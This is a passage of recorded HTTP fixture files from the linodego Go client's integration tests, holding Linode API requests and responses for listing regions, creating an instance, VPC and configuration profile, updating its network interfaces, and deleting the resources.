1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}], "page": 1, "pages": 1, "results": 25}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Mon, 22 Jan 2024 20:49:05 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter - Accept-Encoding X-Accepted-Oauth-Scopes: - '*' X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: '{"region":"us-iad","type":"g6-nanode-1","label":"go-test-ins-wo-disk-9j57cr6x4sv8","booted":false}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/linode/instances method: POST response: body: '{"id": 54253756, "label": "go-test-ins-wo-disk-9j57cr6x4sv8", "group": "", "status": "provisioning", "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "type": "g6-nanode-1", "ipv4": ["139.144.202.155"], "ipv6": "1234::5678/128", "image": null, "region": "us-iad", "specs": {"disk": 25600, "memory": 1024, "vcpus": 1, "gpus": 0, "transfer": 1000}, "alerts": {"cpu": 90, "network_in": 10, "network_out": 10, "transfer_quota": 80, "io": 10000}, "backups": {"enabled": false, "available": false, "schedule": {"day": null, "window": null}, "last_successful": null}, "hypervisor": "kvm", "watchdog_enabled": true, "tags": [], "host_uuid": "82627d6efdfe4053b931690ee476e7b64f186697", "has_user_data": false}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "738" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Mon, 22 Jan 2024 20:49:05 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - linodes:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "10" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: '{"label":"go-test-conf-g735okx15fv9","devices":{},"interfaces":null}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/linode/instances/54253756/configs method: POST response: body: '{"id": 57334210, "label": "go-test-conf-g735okx15fv9", "helpers": {"updatedb_disabled": true, "distro": true, "modules_dep": true, "network": true, "devtmpfs_automount": true}, "kernel": "linode/latest-64bit", "comments": "", "memory_limit": 0, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "root_device": "/dev/sda", "devices": {"sda": null, "sdb": null, "sdc": null, "sdd": null, "sde": null, "sdf": null, "sdg": null, "sdh": null}, "initrd": null, "run_level": "default", "virt_mode": "paravirt", "interfaces": []}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "539" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Mon, 22 Jan 2024 20:49:06 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - linodes:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: '{"label":"go-test-vpc-1705956546121864000","region":"us-iad","subnets":[{"label":"linodego-vpc-test-1705956546121899000","ipv4":"192.168.0.0/25"}]}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/vpcs method: POST response: body: '{"id": 19445, "label": "go-test-vpc-1705956546121864000", "description": "", "region": "us-iad", "subnets": [{"id": 20512, "label": "linodego-vpc-test-1705956546121899000", "ipv4": "192.168.0.0/25", "ipv6": null, "linodes": [], "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05"}], "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05"}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "365" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Mon, 22 Jan 2024 20:49:06 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - vpc:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: '{"label":"go-test-conf-g735okx15fv9","comments":"","devices":{},"helpers":{"updatedb_disabled":true,"distro":true,"modules_dep":true,"network":true,"devtmpfs_automount":true},"interfaces":[{"purpose":"public"},{"label":"testvlan","purpose":"vlan"},{"purpose":"vpc","subnet_id":20512,"ipv4":{"vpc":"192.168.0.87"}}],"memory_limit":0,"kernel":"linode/latest-64bit","init_rd":null,"root_device":"/dev/sda","run_level":"default","virt_mode":"paravirt"}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/linode/instances/54253756/configs/57334210 method: PUT response: body: '{"id": 57334210, "label": "go-test-conf-g735okx15fv9", "helpers": {"updatedb_disabled": true, "distro": true, "modules_dep": true, "network": true, "devtmpfs_automount": true}, "kernel": "linode/latest-64bit", "comments": "", "memory_limit": 0, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "root_device": "/dev/sda", "devices": {"sda": null, "sdb": null, "sdc": null, "sdd": null, "sde": null, "sdf": null, "sdg": null, "sdh": null}, "initrd": null, "run_level": "default", "virt_mode": "paravirt", "interfaces": [{"id": 976037, "purpose": "public", "primary": false, "active": false, "ipam_address": null, "label": null, "vpc_id": null, "subnet_id": null, "ipv4": null, "ipv6": null, "ip_ranges": null}, {"id": 976038, "purpose": "vlan", "primary": false, "active": false, "ipam_address": "", "label": "testvlan", "vpc_id": null, "subnet_id": null, "ipv4": null, "ipv6": null, "ip_ranges": null}, {"id": 976039, "purpose": "vpc", "primary": false, "active": false, "ipam_address": null, "label": null, "vpc_id": 19445, "subnet_id": 20512, "ipv4": {"vpc": "192.168.0.87", "nat_1_1": null}, "ipv6": null, "ip_ranges": []}]}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Mon, 22 Jan 2024 20:49:06 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Accept-Encoding X-Accepted-Oauth-Scopes: - linodes:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/linode/instances/54253756/configs/57334210 method: GET response: body: '{"id": 57334210, "label": "go-test-conf-g735okx15fv9", "helpers": {"updatedb_disabled": true, "distro": true, "modules_dep": true, "network": true, "devtmpfs_automount": true}, "kernel": "linode/latest-64bit", "comments": "", "memory_limit": 0, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "root_device": "/dev/sda", "devices": {"sda": null, "sdb": null, "sdc": null, "sdd": null, "sde": null, "sdf": null, "sdg": null, "sdh": null}, "initrd": null, "run_level": "default", "virt_mode": "paravirt", "interfaces": [{"id": 976037, "purpose": "public", "primary": false, "active": false, "ipam_address": null, "label": null, "vpc_id": null, "subnet_id": null, "ipv4": null, "ipv6": null, "ip_ranges": null}, {"id": 976038, "purpose": "vlan", "primary": false, "active": false, "ipam_address": "", "label": "testvlan", "vpc_id": null, "subnet_id": null, "ipv4": null, "ipv6": null, "ip_ranges": null}, {"id": 976039, "purpose": "vpc", "primary": false, "active": false, "ipam_address": null, "label": null, "vpc_id": 19445, "subnet_id": 20512, "ipv4": {"vpc": "192.168.0.87", "nat_1_1": null}, "ipv6": null, "ip_ranges": []}]}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Mon, 22 Jan 2024 20:49:06 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter - Accept-Encoding X-Accepted-Oauth-Scopes: - linodes:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: '{"comments":"","interfaces":null,"memory_limit":0,"init_rd":null}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/linode/instances/54253756/configs/57334210 method: PUT response: body: '{"id": 57334210, "label": "go-test-conf-g735okx15fv9", "helpers": {"updatedb_disabled": true, "distro": true, "modules_dep": true, "network": true, "devtmpfs_automount": true}, "kernel": "linode/latest-64bit", "comments": "", "memory_limit": 0, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "root_device": "/dev/sda", "devices": {"sda": null, "sdb": null, "sdc": null, "sdd": null, "sde": null, "sdf": null, "sdg": null, "sdh": null}, "initrd": null, "run_level": "default", "virt_mode": "paravirt", "interfaces": [{"id": 976037, "purpose": "public", "primary": false, "active": false, "ipam_address": null, "label": null, "vpc_id": null, "subnet_id": null, "ipv4": null, "ipv6": null, "ip_ranges": null}, {"id": 976038, "purpose": "vlan", "primary": false, "active": false, "ipam_address": "", "label": "testvlan", "vpc_id": null, "subnet_id": null, "ipv4": null, "ipv6": null, "ip_ranges": null}, {"id": 976039, "purpose": "vpc", "primary": false, "active": false, "ipam_address": null, "label": null, "vpc_id": 19445, "subnet_id": 20512, "ipv4": {"vpc": "192.168.0.87", "nat_1_1": null}, "ipv6": null, "ip_ranges": []}]}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Mon, 22 Jan 2024 20:49:07 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Accept-Encoding X-Accepted-Oauth-Scopes: - linodes:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/linode/instances/54253756 method: DELETE response: body: '{}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "2" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Mon, 22 Jan 2024 20:49:07 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - linodes:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/vpcs/19445 method: DELETE response: body: '{}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "2" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Mon, 22 Jan 2024 20:49:07 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - vpc:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" golang-github-linode-linodego-1.28.0/test/integration/fixtures/TestInstance_Config_Update.yaml000066400000000000000000000576271455402072200326530ustar00rootroot00000000000000--- version: 1 interactions: - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/regions method: GET response: body: '{"data": [{"id": "ap-west", "label": "Mumbai, IN", "country": "in", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "172.105.34.5, 172.105.35.5, 172.105.36.5, 172.105.37.5, 172.105.38.5, 172.105.39.5, 172.105.40.5, 172.105.41.5, 172.105.42.5, 172.105.43.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "ca-central", "label": "Toronto, CA", "country": "ca", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "172.105.0.5, 172.105.3.5, 172.105.4.5, 172.105.5.5, 172.105.6.5, 172.105.7.5, 172.105.8.5, 172.105.9.5, 172.105.10.5, 172.105.11.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "ap-southeast", "label": "Sydney, AU", "country": "au", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "172.105.166.5, 172.105.169.5, 172.105.168.5, 172.105.172.5, 172.105.162.5, 172.105.170.5, 172.105.167.5, 172.105.171.5, 172.105.181.5, 172.105.161.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "us-iad", "label": "Washington, DC", "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "139.144.192.62, 139.144.192.60, 139.144.192.61, 139.144.192.53, 139.144.192.54, 139.144.192.67, 139.144.192.69, 139.144.192.66, 139.144.192.52, 139.144.192.68", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "us-ord", "label": "Chicago, IL", "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.0.17, 172.232.0.16, 172.232.0.21, 172.232.0.13, 172.232.0.22, 172.232.0.9, 172.232.0.19, 172.232.0.20, 172.232.0.15, 172.232.0.18", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "fr-par", "label": "Paris, FR", "country": "fr", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.32.21, 172.232.32.23, 172.232.32.17, 172.232.32.18, 172.232.32.16, 172.232.32.22, 172.232.32.20, 172.232.32.14, 172.232.32.11, 172.232.32.12", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "us-sea", "label": "Seattle, WA", "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.160.19, 172.232.160.21, 172.232.160.17, 172.232.160.15, 172.232.160.18, 172.232.160.8, 172.232.160.12, 172.232.160.11, 172.232.160.14, 172.232.160.16", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "br-gru", "label": "Sao Paulo, BR", "country": "br", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.233.0.4, 172.233.0.9, 172.233.0.7, 172.233.0.12, 172.233.0.5, 172.233.0.13, 172.233.0.10, 172.233.0.6, 172.233.0.8, 172.233.0.11", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "nl-ams", "label": "Amsterdam, NL", "country": "nl", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.233.33.36, 172.233.33.38, 172.233.33.35, 172.233.33.39, 172.233.33.34, 172.233.33.33, 172.233.33.31, 172.233.33.30, 172.233.33.37, 172.233.33.32", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "se-sto", "label": "Stockholm, SE", "country": "se", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.128.24, 172.232.128.26, 172.232.128.20, 172.232.128.22, 172.232.128.25, 172.232.128.19, 172.232.128.23, 172.232.128.18, 172.232.128.21, 172.232.128.27", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "es-mad", "label": "Madrid, ES", "country": "es", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.233.111.6, 172.233.111.17, 172.233.111.21, 172.233.111.25, 172.233.111.19, 172.233.111.12, 172.233.111.26, 172.233.111.16, 172.233.111.18, 172.233.111.9", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "in-maa", "label": "Chennai, IN", "country": "in", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.96.17, 172.232.96.26, 172.232.96.19, 172.232.96.20, 172.232.96.25, 172.232.96.21, 172.232.96.18, 172.232.96.22, 172.232.96.23, 172.232.96.24", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "jp-osa", "label": "Osaka, JP", "country": "jp", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.233.64.44, 172.233.64.43, 172.233.64.37, 172.233.64.40, 172.233.64.46, 172.233.64.41, 172.233.64.39, 172.233.64.42, 172.233.64.45, 172.233.64.38", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "it-mil", "label": "Milan, IT", "country": "it", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.192.19, 172.232.192.18, 172.232.192.16, 172.232.192.20, 172.232.192.24, 172.232.192.21, 172.232.192.22, 172.232.192.17, 172.232.192.15, 172.232.192.23", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "us-mia", "label": "Miami, FL", "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.233.160.34, 172.233.160.27, 172.233.160.30, 172.233.160.29, 172.233.160.32, 172.233.160.28, 172.233.160.33, 172.233.160.26, 172.233.160.25, 172.233.160.31", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "id-cgk", "label": "Jakarta, ID", "country": "id", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.224.23, 172.232.224.32, 172.232.224.26, 172.232.224.27, 172.232.224.21, 172.232.224.24, 172.232.224.22, 172.232.224.20, 172.232.224.31, 172.232.224.28", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "us-lax", "label": "Los Angeles, CA", "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.233.128.45, 172.233.128.38, 172.233.128.53, 172.233.128.37, 172.233.128.34, 172.233.128.36, 172.233.128.33, 172.233.128.39, 172.233.128.43, 172.233.128.44", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "us-central", "label": "Dallas, TX", "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "72.14.179.5, 72.14.188.5, 173.255.199.5, 66.228.53.5, 96.126.122.5, 96.126.124.5, 96.126.127.5, 198.58.107.5, 198.58.111.5, 23.239.24.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "us-west", "label": "Fremont, CA", "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "173.230.145.5, 173.230.147.5, 173.230.155.5, 173.255.212.5, 173.255.219.5, 173.255.241.5, 173.255.243.5, 173.255.244.5, 74.207.241.5, 74.207.242.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "us-southeast", "label": "Atlanta, GA", "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "74.207.231.5, 173.230.128.5, 173.230.129.5, 173.230.136.5, 173.230.140.5, 66.228.59.5, 66.228.62.5, 50.116.35.5, 50.116.41.5, 23.239.18.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "us-east", "label": "Newark, NJ", "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Bare Metal", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "66.228.42.5, 96.126.106.5, 50.116.53.5, 50.116.58.5, 50.116.61.5, 50.116.62.5, 66.175.211.5, 97.107.133.4, 207.192.69.4, 207.192.69.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "eu-west", "label": "London, UK", "country": "gb", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "178.79.182.5, 176.58.107.5, 176.58.116.5, 176.58.121.5, 151.236.220.5, 212.71.252.5, 212.71.253.5, 109.74.192.20, 109.74.193.20, 109.74.194.20", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "ap-south", "label": "Singapore, SG", "country": "sg", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "139.162.11.5, 139.162.13.5, 139.162.14.5, 139.162.15.5, 139.162.16.5, 139.162.21.5, 139.162.27.5, 103.3.60.18, 103.3.60.19, 103.3.60.20", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "eu-central", "label": "Frankfurt, DE", "country": "de", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "139.162.130.5, 139.162.131.5, 139.162.132.5, 139.162.133.5, 139.162.134.5, 139.162.135.5, 139.162.136.5, 139.162.137.5, 